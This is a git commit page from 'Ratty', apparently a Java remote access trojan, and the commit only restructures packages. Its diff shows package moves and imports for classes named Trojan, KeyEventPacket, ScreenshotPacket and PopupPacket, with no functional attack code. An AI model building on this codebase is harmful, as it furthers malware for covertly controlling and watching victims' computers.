Browse Source

Major changes

Changed structure
master
Sogomn 9 years ago
parent
commit
905fa00a24
  1. 2
      Ratty/src/de/sogomn/rat/ActiveClient.java
  2. 2
      Ratty/src/de/sogomn/rat/IClientObserver.java
  3. 3
      Ratty/src/de/sogomn/rat/Ratty.java
  4. 2
      Ratty/src/de/sogomn/rat/Trojan.java
  5. 4
      Ratty/src/de/sogomn/rat/packet/IPacket.java
  6. 4
      Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java
  7. 2
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  8. 4
      Ratty/src/de/sogomn/rat/packet/PopupPacket.java
  9. 3
      Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
  10. 5
      Ratty/src/de/sogomn/rat/server/ActiveServer.java

2
Ratty/src/de/sogomn/rat/ActiveClient.java

@ -3,6 +3,8 @@ package de.sogomn.rat;
import java.net.Socket;
import de.sogomn.engine.net.TCPConnection;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.PacketType;
public final class ActiveClient extends TCPConnection {

2
Ratty/src/de/sogomn/rat/IClientObserver.java

@ -1,5 +1,7 @@
package de.sogomn.rat;
import de.sogomn.rat.packet.IPacket;
public interface IClientObserver {
void packetReceived(final ActiveClient client, final IPacket packet);

3
Ratty/src/de/sogomn/rat/Ratty.java

@ -2,6 +2,9 @@ package de.sogomn.rat;
import java.awt.event.KeyEvent;
import de.sogomn.rat.packet.KeyEventPacket;
import de.sogomn.rat.server.ActiveServer;
public final class Ratty {

2
Ratty/src/de/sogomn/rat/Trojan.java

@ -1,5 +1,7 @@
package de.sogomn.rat;
import de.sogomn.rat.packet.IPacket;
public final class Trojan implements IClientObserver {
public Trojan() {

4
Ratty/src/de/sogomn/rat/IPacket.java → Ratty/src/de/sogomn/rat/packet/IPacket.java

@ -1,4 +1,6 @@
package de.sogomn.rat;
package de.sogomn.rat.packet;
import de.sogomn.rat.ActiveClient;

4
Ratty/src/de/sogomn/rat/KeyEventPacket.java → Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java

@ -1,9 +1,11 @@
package de.sogomn.rat;
package de.sogomn.rat.packet;
import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.KeyEvent;
import de.sogomn.rat.ActiveClient;
public final class KeyEventPacket implements IPacket {
private int key;

2
Ratty/src/de/sogomn/rat/PacketType.java → Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -1,4 +1,4 @@
package de.sogomn.rat;
package de.sogomn.rat.packet;
public enum PacketType {

4
Ratty/src/de/sogomn/rat/PopupPacket.java → Ratty/src/de/sogomn/rat/packet/PopupPacket.java

@ -1,7 +1,9 @@
package de.sogomn.rat;
package de.sogomn.rat.packet;
import javax.swing.JOptionPane;
import de.sogomn.rat.ActiveClient;
public final class PopupPacket implements IPacket {

3
Ratty/src/de/sogomn/rat/ScreenshotPacket.java → Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java

@ -1,4 +1,4 @@
package de.sogomn.rat;
package de.sogomn.rat.packet;
import java.awt.AWTException;
import java.awt.Rectangle;
@ -12,6 +12,7 @@ import javax.imageio.ImageIO;
import de.sogomn.engine.Screen;
import de.sogomn.engine.Screen.ResizeBehavior;
import de.sogomn.rat.ActiveClient;
public final class ScreenshotPacket implements IPacket {

5
Ratty/src/de/sogomn/rat/ActiveServer.java → Ratty/src/de/sogomn/rat/server/ActiveServer.java

@ -1,9 +1,12 @@
package de.sogomn.rat;
package de.sogomn.rat.server;
import java.net.Socket;
import java.util.ArrayList;
import de.sogomn.engine.net.TCPServer;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.IPacket;
public final class ActiveServer extends TCPServer implements IClientObserver {
Loading…
Cancel
Save